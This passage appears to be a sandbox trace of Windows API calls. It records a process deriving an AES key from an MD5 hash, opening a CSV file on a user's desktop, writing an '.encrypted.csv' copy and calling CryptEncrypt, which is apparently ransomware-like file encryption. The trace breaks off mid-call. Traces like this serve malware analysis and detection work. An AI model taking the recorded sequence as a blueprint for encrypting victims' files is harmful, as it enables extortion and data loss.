PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.667] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.667] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.668] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.668] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.668] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.668] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.668] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.668] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.669] CryptHashData (hHash=0xe8f4062800, pbData=0xe8f418b540, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.669] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.669] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.669] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062800, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.669] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.669] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.669] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.669] CryptDestroyHash (hHash=0xe8f4062800) returned 1 [0022.670] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.csv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\umorr9mp.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.671] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.671] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.671] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.672] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\umorr9mp.encrypted.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.672] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.673] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.673] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xaaa5, lpOverlapped=0x0) returned 1 [0022.675] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.677] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.677] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.678] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.678] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.678] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.678] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.679] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ad0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ad0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.679] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.679] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.680] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.680] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.680] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xaaa5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xaab0) returned 1 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] CharLowerBuffW (in: lpsz="byte[43697]", cchLength=0xb | out: lpsz="byte[43697]") returned 0xb [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.681] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.681] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e09e0*, pdwDataLen=0xe8f3dfdf68*=0xaaa5, dwBufLen=0xaab0 | out: pbData=0xe8f41e09e0*, pdwDataLen=0xe8f3dfdf68*=0xaab0) returned 1 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.681] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 